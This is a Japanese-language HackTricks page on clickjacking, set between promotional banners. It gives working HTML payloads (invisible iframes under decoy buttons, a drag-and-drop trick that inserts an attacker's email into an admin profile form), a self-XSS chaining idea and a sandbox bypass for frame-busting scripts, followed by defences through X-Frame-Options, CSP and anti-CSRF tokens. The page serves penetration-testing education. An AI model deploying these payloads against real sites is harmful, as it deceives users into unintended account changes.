13 KiB
Clickjacking
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したい場合やHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksスワッグを入手する
- The PEASS Familyを発見し、独占的なNFTsのコレクションを見つける
- **💬 Discordグループ**に参加するか、telegramグループに参加するか、Twitter 🐦 @carlospolopmをフォローする
- ハッキングトリックを共有するには、 HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出してください。
Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化できます。
今すぐアクセスしてください:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Clickjackingとは
Clickjacking攻撃では、ユーザーが見えないか、異なる要素として偽装されたWebページ上の要素をクリックするように騙されます。この操作により、ユーザーにとって意図しない結果がもたらされる可能性があります。例えば、マルウェアのダウンロード、悪意のあるWebページへのリダイレクト、資格情報や機密情報の提供、資金の送金、オンラインでの製品購入などが挙げられます。
フォームの事前入力トリック
時々、ページを読み込む際にGETパラメータを使用してフォームのフィールドの値を埋めることができます。攻撃者はこの動作を悪用してフォームに任意のデータを入力し、クリックジャッキングペイロードを送信してユーザーがボタンを押すように誘導することがあります。
ドラッグ&ドロップでフォームにデータを入力
ユーザーにフォームに入力してもらいたいが、特定の情報(例:メールアドレスや特定のパスワード)を直接求めたくない場合は、ユーザーにドラッグ&ドロップするように求めることで、制御されたデータを書き込むことができます。この例を参照してください。
基本的なペイロード
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
マルチステップペイロード
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
ドラッグ&ドロップ + クリックペイロード
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
XSS攻撃を特定し、ユーザーがクリックする必要がある場合にXSSをトリガーし、ページがClickjackingに脆弱である場合、ユーザーをだましてボタン/リンクをクリックさせることで悪用できます。
例:
アカウントの一部のプライベート詳細(あなただけが設定および読み取り可能)にself XSSを見つけました。これらの詳細を設定するためのフォームがClickjackingに脆弱であり、GETパラメータでフォームを事前に埋め込むことができます。
__攻撃者は、そのページにClickjacking攻撃を準備し、XSSペイロードをフォームに事前に埋め込み、ユーザーをだましてフォームを送信させることができます。そのため、フォームが送信され値が変更されると、ユーザーがXSSを実行します。
Clickjackingの緩和策
クライアントサイドの防御策
クライアアントサイドで実行されるスクリプトは、Clickjackingを防ぐためのアクションを実行できます:
- アプリケーションウィンドウがメインまたはトップウィンドウであることを確認する。
- すべてのフレームを表示する。
- 不可視フレームでのクリックを防止する。
- Clickjackingの試みを検出してユーザーに警告する。
ただし、これらのフレームブレーキングスクリプトは回避される可能性があります:
- ブラウザのセキュリティ設定: 一部のブラウザは、セキュリティ設定やJavaScriptサポートの不足に基づいてこれらのスクリプトをブロックする場合があります。
- HTML5 iframe
sandbox
属性: 攻撃者は、allow-forms
またはallow-scripts
の値を設定し、allow-top-navigation
を含まないsandbox
属性を設定することで、フレームブレーキングスクリプトを無効化できます。これにより、iframeがトップウィンドウであるかどうかを検証することが防止されます。
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
サーバーサイドの防御
X-Frame-Options
X-Frame-Options
HTTPレスポンスヘッダーは、<frame>
または<iframe>
内でページをレンダリングする正当性についてブラウザに通知し、Clickjackingを防ぐのに役立ちます:
X-Frame-Options: deny
- どのドメインもコンテンツをフレーム化できません。X-Frame-Options: sameorigin
- 現在のサイトのみがコンテンツをフレーム化できます。X-Frame-Options: allow-from https://trusted.com
- 指定された 'uri' のみがページをフレーム化できます。- このディレクティブをサポートしていないブラウザがあるため、制限に注意してください。一部のブラウザはCSPのframe-ancestorsディレクティブを好む場合があります。
Content Security Policy (CSP) frame-ancestorsディレクティブ
CSPの**frame-ancestors
ディレクティブ**はClickjacking保護の推奨方法です:
frame-ancestors 'none'
-X-Frame-Options: deny
と同様。frame-ancestors 'self'
-X-Frame-Options: sameorigin
と同様。frame-ancestors trusted.com
-X-Frame-Options: allow-from
と同様。
たとえば、次のCSPは同じドメインからのフレーミングのみを許可します:
Content-Security-Policy: frame-ancestors 'self';
詳細や複雑な例は、frame-ancestors CSPドキュメントおよびMozillaのCSP frame-ancestorsドキュメントで見つけることができます。
Content Security Policy (CSP)のchild-src
およびframe-src
を使用したCSP
**Content Security Policy (CSP)**は、ブラウザがコンテンツの読み込みを許可するソースを指定することで、Clickjackingやその他のコードインジェクション攻撃を防ぐのに役立つセキュリティ対策です。
frame-src
ディレクティブ
- フレームの有効なソースを定義します。
default-src
ディレクティブより具体的です。
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
このポリシーでは、同じオリジン(self)およびhttps://trusted-website.comからのフレームが許可されます。
child-src
ディレクティブ
- CSPレベル2で導入され、Webワーカーとフレームの有効なソースを設定するためのものです。
- frame-srcおよびworker-srcのフォールバックとして機能します。
Content-Security-Policy: child-src 'self' https://trusted-website.com;
このポリシーでは、同じオリジン(self)およびhttps://trusted-website.comからのフレームとワーカーが許可されています。
使用上の注意:
- 廃止予定: child-srcはframe-srcおよびworker-srcに取って代わられる過程にあります。
- フォールバック動作: frame-srcが存在しない場合、フレームのフォールバックとしてchild-srcが使用されます。両方が存在しない場合、default-srcが使用されます。
- 厳密なソース定義: 悪用を防ぐためにディレクティブに信頼できるソースのみを含めます。
JavaScriptによるフレーム破壊スクリプト
完全には防げないものの、JavaScriptベースのフレーム破壊スクリプトを使用して、Webページがフレーム化されるのを防ぐことができます。例:
if (top !== self) {
top.location = self.location;
}
Anti-CSRFトークンの利用
- トークンの検証: WebアプリケーションでAnti-CSRFトークンを使用して、状態を変更するリクエストがユーザーによって意図的に行われ、Clickjackedページを介して行われないようにします。
参考文献
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセス:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
**htARTE (HackTricks AWS Red Team Expert)**を使用して、ゼロからヒーローまでAWSハッキングを学びましょう htARTE (HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したい場合やPDF形式でHackTricksをダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksのグッズを入手してください
- The PEASS Familyを発見し、独占的なNFTsコレクションを見つけてください
- 💬 Discordグループやtelegramグループに参加するか、Twitter 🐦 @carlospolopmをフォローしてください。
- HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。